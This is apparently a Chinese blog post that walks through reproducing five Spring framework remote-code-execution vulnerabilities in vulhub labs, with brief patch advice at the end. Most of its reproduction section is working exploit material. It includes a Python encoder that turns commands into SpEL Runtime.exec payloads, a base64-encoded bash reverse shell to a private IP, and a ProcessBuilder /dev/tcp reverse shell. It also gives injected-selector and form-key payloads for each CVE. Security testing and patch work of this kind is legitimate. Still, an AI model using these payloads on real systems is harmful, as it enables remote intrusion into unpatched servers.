Spring框架漏洞复现大杂烩!!!
寻了半生的春天 你一笑 便是了
总体概述:
- Spring是一个开源框架,核心是控制反转(IoC)和面向切面(AOP)。简单来说,Spring是一个分层的JavaSE/EE full-stack(一站式) 轻量级开源框架。简单说就是创建对象由以前的程序员自己new 构造方法来调用,变成交由Spring来创建对象 。类比Struts 2框架绝大部分的安全漏洞都都是由于OGNL,而自从sping引入SpEL,也引起很多安全漏洞,什么事都是有利即有弊。
- 本次主要针对以下几个漏洞进行复现(vulhub一键搭建),主要还是由于SpEL表达式而产生的漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
漏洞版本
- Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
Spring Security OAuth 2.0 – 2.0.9
Spring Security OAuth 1.0 – 1.0.5
- Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
Spring Web Flow 2.4.0-2.4.4
- Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3
- Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
Spring Framework 5.0 -5.0.4
Spring Framework 4.3 - 4.3.14
- Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
Spring Data Commons 1.13 - 1.13.10
Spring Data Commons 2.0 - 2.0.5
漏洞概况:
-
Spring Security OAuth是为Spring框架提供安全认证支持的一个模块,主要分为授权服务 Authorization Service.资源服务 Resource Service.这次漏洞主要是由用户使用Whitelabel views来处理错误时,攻击者在被授权的情况下可以通过构造恶意 SpEL表达式来远程执行命令。
-
Spring WebFlow构建于Spring MVC之上,允许实现Web应用程序的“流程”。流程封装了一系列步骤,指导用户执行某些业务任务。 它的最佳位置是具有受控导航功能的有状态Web应用程序,例如购物逻辑,向表单添加确认步骤等。如果我们控制了数据绑定时的field,构造恶意 SpEL表达式来远程执行命令。
-
Spring Data是对数据访问的更高抽象。通过它,开发者进一步从数据层解放出来,更专注于业务逻辑。Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中,path的值被传入setValue,导致执行了恶意SpEL表达式,触发远程命令执行漏洞。
-
spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,
用STOMP协议将数据组合成一个文本流,简单来说用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket(NEW)或ajax(OLD)进与后端通信。由于selector用SpEL表达式编写,并使用StandardEvaluationContext解析(权限太大),造成命令执行漏洞。 -
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons有一个重要概念:Spring Data Repository抽象。使用Spring Data Repository可以极大地减少数据访问层的代码。当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为SpEL表达式进行注入,攻击者可以注入恶意SpEL表达式以执行任意命令。
漏洞复现:
- Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
漏洞这两都可以触发:
oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test
oauth/authorize?response_type=token&client_id=acme&redirect_uri=${2*2}
然后生成反弹shell的POC,需要把反弹shell语句转化为SpEL语句
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAyLzg4ODggMD4mMQo=}|{base64,-d}|{bash,-i}
poc之后生成SpEL表达式,带入表达式即可成功getshell。
-
Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
在spring-webflow官方给的简单示例中,订购酒店,然后填写信息后点击“Process”(从这开始,WebFlow就已运行)
然后在点击"confirm",之后抓包,添加反弹shell参数,返回500,即可成功getshell
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/ip/端口 0>&1")).start()=hellowrod(要url编码,因为有特殊符号)
-
Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)
首先注意几点:
1.Content-Type:application/json-patch+json
2.请求数据必须是json数组
3.JSON Patch方法提交的数据必须包含一个path成员,用于定位数据,同时还必须包含op成员,可选值如下:op 含义 add 添加数据 remove 删除 replace 修改 move 移动 copy 拷贝 test 测试给定数据与指定位置数据是否相等 对于上面添加的Person数据,外面可以修改其lastName属性,请求数据如下:
[{ "op": "replace", "path": "/lastName", "value": "hellocat" }]
然后构造payload,path的值是SpEL表达式,
[{ "op": "replace", "path": "T(spel表达式)/lastname", "value": "hellocat" }]
抓包修改OPTIONS,查看接受类型和允许的请求方法。
把patch换成反弹shell语句,即可成功getshell。
-
Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
搭建:git clone https://github/spring-guides/gs-messaging-stomp-websocket
cd complete
./mvnw spring-boot:run
搭建成功,然后开启connect,然后抓包添加payload\nselector:new java.lang.ProcessBuilder("touch /tmp/sucesss").start()
即可,然后即可成功执行命令
-
Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
首先在登入页面抓包,发送repeater
payload:username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=
然后修改username,进行修改payload数据发送,可以看见成功执行命令。
漏洞修复:
-
Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
1.禁用生产环境中的Whitelabel错误页
2.升级+++ -
Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
1.建议在视图状态中始终使用显式数据绑定声明, 以防止表单提交在不应设置的目标对象上可以任意设置字段。
2.升级+++ -
Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)
升级+++ -
Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
升级+++ -
Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
升级+++萌新一枚,余生很长,请多指教。
更多推荐
Spring框架漏洞复现大杂烩!!!
发布评论